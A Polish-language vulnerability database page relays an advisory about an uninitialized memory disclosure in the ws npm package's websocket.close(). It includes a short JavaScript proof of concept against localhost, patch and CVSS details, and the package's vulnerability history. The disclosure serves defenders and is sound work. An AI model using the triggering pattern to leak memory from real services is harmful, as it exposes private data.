Średnia

ws: Uninitialized memory disclosure

  • Ujawniono: 18.05.2026
  • Aktualizacja: 11.10.2026 10:22

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

js
import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

Patches

The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm ws >= 8.0.0, < 8.20.1 8.20.1

Odnośniki

Ocena CVSS 4.4/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
Słabość (CWE)
CWE-908
Platforma
npm
Paczka
ws
Ujawniono
18.05.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-58qx-3vcg-4xpx - CC BY 4.0

Historia podatności: ws

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
7
Pierwsza → ostatnia
02.2019 06.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Wysoka 4
  • Średnia 2
  • Niska 1

Ujawnienia w latach

  1. 2019: 3
  2. 2020: 0
  3. 2021: 1
  4. 2022: 0
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 2
  1. Wysoka · 7.5 CVE-2026-48779 >= 1.1.0, < 5.2.5, >= 6.0.0, < 6.2.4, >= 7.0.0, < 7.5.11, >= 8.0.0, < 8.21.0 5.2.5, 6.2.4, 7.5.11, 8.21.0
  2. ws: Uninitialized memory disclosure ten wpis
    Średnia · 4.4 CVE-2026-45736 >= 8.0.0, < 8.20.1 8.20.1
  3. Wysoka · 7.5 CVE-2024-37890 >= 2.1.0, < 5.2.4, >= 6.0.0, < 6.2.3, >= 7.0.0, < 7.5.10, >= 8.0.0, < 8.17.1 5.2.4, 6.2.3, 7.5.10, 8.17.1
  4. Średnia · 5.3 CVE-2021-32640 >= 7.0.0, < 7.4.6, >= 6.0.0, < 6.2.2, >= 5.0.0, < 5.2.3 7.4.6, 6.2.2, 5.2.3
  5. Wysoka · 7.5 ghsa-5v72-xg48-5rpm >= 0.6.0, < 1.1.5, >= 2.0.0, < 3.3.1 1.1.5, 3.3.1
  6. Wysoka CVE-2016-10542 < 1.1.1 1.1.1
  7. Niska CVE-2016-10518 < 1.0.1 1.0.1

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.